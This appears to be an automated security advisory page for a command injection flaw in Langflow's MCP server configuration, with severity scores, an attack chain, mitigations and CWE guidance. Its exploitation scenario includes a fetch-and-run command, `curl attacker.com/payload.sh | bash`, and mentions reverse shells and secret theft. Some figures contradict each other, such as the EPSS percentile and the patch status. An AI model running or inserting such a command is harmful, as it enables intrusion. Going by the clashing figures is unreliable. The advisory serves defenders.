CVE-2026-17623: Langflow MCP config command injection

CISO Take

IBM Langflow OSS versions 1.0.0 through 1.10.3 fail to validate the command field in MCP server configurations, letting any authenticated user execute arbitrary OS commands on the host running the platform. This matters because Langflow is a widely deployed low-code agent/LLM orchestration framework, and the flaw requires only low privileges, no user interaction, and network access (CVSS 8.8, AC:L/PR:L/UI:N) — a low bar for anyone with a valid account, including compromised or over-permissioned service credentials. There's no confirmed public exploit or Nuclei template yet, and CISA has scored it TRACK rather than flagged it for KEV, but the 41st EPSS percentile plus the trivial exploit path (edit a config field, get shell) means it will likely be weaponized once technical detail surfaces. Patch to a version beyond 1.10.3 immediately; if patching is delayed, restrict who can create or edit MCP server configurations, run Langflow's process under a least-privilege service account, and monitor for unexpected child-process spawns from the Langflow host as a detection signal.

Sources: NVD EPSS ATLAS

What is the risk?

High risk for organizations self-hosting Langflow with multi-user access. The vulnerability requires only low-privilege authentication (not admin), no user interaction, and is remotely exploitable over the network — a combination that historically leads to rapid exploitation once a PoC circulates. Impact is complete (C:H/I:H/A:H): full command execution on the host process. Mitigating factors are the absence of a public exploit or scanner signature today and CISA's non-urgent SSVC 'TRACK' rating, but these can change quickly for a low-complexity command injection in a popular open-source AI framework.

How does the attack unfold?

Initial Access

Attacker authenticates with a low-privilege Langflow account, satisfying the PR:L requirement.

AML.T0012

Malicious Configuration Injection

Attacker edits an MCP server configuration and injects an OS shell command into the unvalidated command field.

AML.T0081

Command Execution

Langflow parses and executes the MCP server config, running the injected command with the backend process's privileges.

AML.T0050

Impact

Attacker gains a shell on the Langflow host, exposing secrets and enabling lateral movement into connected systems.

AML.T0025

Initial Access

Attacker authenticates with a low-privilege Langflow account, satisfying the PR:L requirement.

AML.T0012

Malicious Configuration Injection

Attacker edits an MCP server configuration and injects an OS shell command into the unvalidated command field.

AML.T0081

Command Execution

Langflow parses and executes the MCP server config, running the injected command with the backend process's privileges.

AML.T0050

Impact

Attacker gains a shell on the Langflow host, exposing secrets and enabling lateral movement into connected systems.

AML.T0025

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Langflow	pip	—	No patch
155.0K Pushed 2d ago 17% patched ~70d to patch Full package profile →

Do you use Langflow? You're affected.

How severe is it?

CVSS 3.1

8.8 / 10

EPSS

1.0%

chance of exploitation in 30 days

Higher than 60% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Moderate

What is the attack surface?

AV Network

AC Low

PR Low

UI None

S Unchanged

C High

I High

A High

What should I do?

1 step

1) Upgrade Langflow to a version newer than 1.10.3 as soon as IBM publishes a fix (track the IBM support bulletin). 2) Until patched, restrict MCP server configuration creation/editing to trusted administrators only via RBAC. 3) Run the Langflow process with a non-root, least-privilege service account and isolate it in a container/VM with no unnecessary network egress. 4) Audit existing MCP server configs for unexpected or malformed 'command' fields. 5) Monitor host-level EDR/auditd logs for anomalous child processes spawned by the Langflow service. 6) Restrict network exposure of the Langflow admin/API surface to trusted networks (VPN/allowlist) rather than the open internet.

What does CISA's SSVC say?

Decision Track

Exploitation none

Automatable No

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Auth Bypass Agent Framework Plugin AML.T0012 - Valid Accounts AML.T0050 - Command and Scripting Interpreter AML.T0053 - AI Agent Tool Invocation AML.T0081 - Modify AI Agent Configuration

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

NIST AI RMF

MEASURE 2.7 - AI system security and resilience evaluated

OWASP LLM Top 10

LLM06 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-17623?

IBM Langflow OSS versions 1.0.0 through 1.10.3 fail to validate the command field in MCP server configurations, letting any authenticated user execute arbitrary OS commands on the host running the platform. This matters because Langflow is a widely deployed low-code agent/LLM orchestration framework, and the flaw requires only low privileges, no user interaction, and network access (CVSS 8.8, AC:L/PR:L/UI:N) — a low bar for anyone with a valid account, including compromised or over-permissioned service credentials. There's no confirmed public exploit or Nuclei template yet, and CISA has scored it TRACK rather than flagged it for KEV, but the 41st EPSS percentile plus the trivial exploit path (edit a config field, get shell) means it will likely be weaponized once technical detail surfaces. Patch to a version beyond 1.10.3 immediately; if patching is delayed, restrict who can create or edit MCP server configurations, run Langflow's process under a least-privilege service account, and monitor for unexpected child-process spawns from the Langflow host as a detection signal.

Is CVE-2026-17623 actively exploited?

No confirmed active exploitation of CVE-2026-17623 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-17623?

1) Upgrade Langflow to a version newer than 1.10.3 as soon as IBM publishes a fix (track the IBM support bulletin). 2) Until patched, restrict MCP server configuration creation/editing to trusted administrators only via RBAC. 3) Run the Langflow process with a non-root, least-privilege service account and isolate it in a container/VM with no unnecessary network egress. 4) Audit existing MCP server configs for unexpected or malformed 'command' fields. 5) Monitor host-level EDR/auditd logs for anomalous child processes spawned by the Langflow service. 6) Restrict network exposure of the Langflow admin/API surface to trusted networks (VPN/allowlist) rather than the open internet.

What systems are affected by CVE-2026-17623?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, tool/plugin orchestration, model serving.

What is the CVSS score for CVE-2026-17623?

CVE-2026-17623 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.96%.

What is the AI security impact?

Affected AI Architectures

agent frameworkstool/plugin orchestrationmodel serving

MITRE ATLAS Techniques

AML.T0012 Valid Accounts

AML.T0050 Command and Scripting Interpreter

AML.T0053 AI Agent Tool Invocation

AML.T0081 Modify AI Agent Configuration

Compliance Controls Affected

EU AI Act: Article 15

NIST AI RMF: MEASURE 2.7

OWASP LLM Top 10: LLM06

What are the technical details?

Original Advisory

IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote authenticated attacker to execute arbitrary commands due to improper validation of the command field in MCP server configurations.

Exploitation Scenario

An attacker obtains or is granted a low-privilege Langflow user account (e.g., via a shared demo instance, a phished credential, or an over-provisioned team account). They navigate to the MCP server configuration panel or call the underlying API directly, and instead of a legitimate binary path, they inject a shell command chain (e.g., `curl attacker.com/payload.sh | bash`) into the command field. When Langflow parses and executes that MCP server configuration to make the tool available to an agent, the injected command runs with the privileges of the Langflow backend process, giving the attacker a reverse shell, access to any environment secrets (API keys, DB credentials) available to the process, and a foothold for lateral movement into connected systems.

Weaknesses (CWE)

CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Primary CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

[Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
[Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.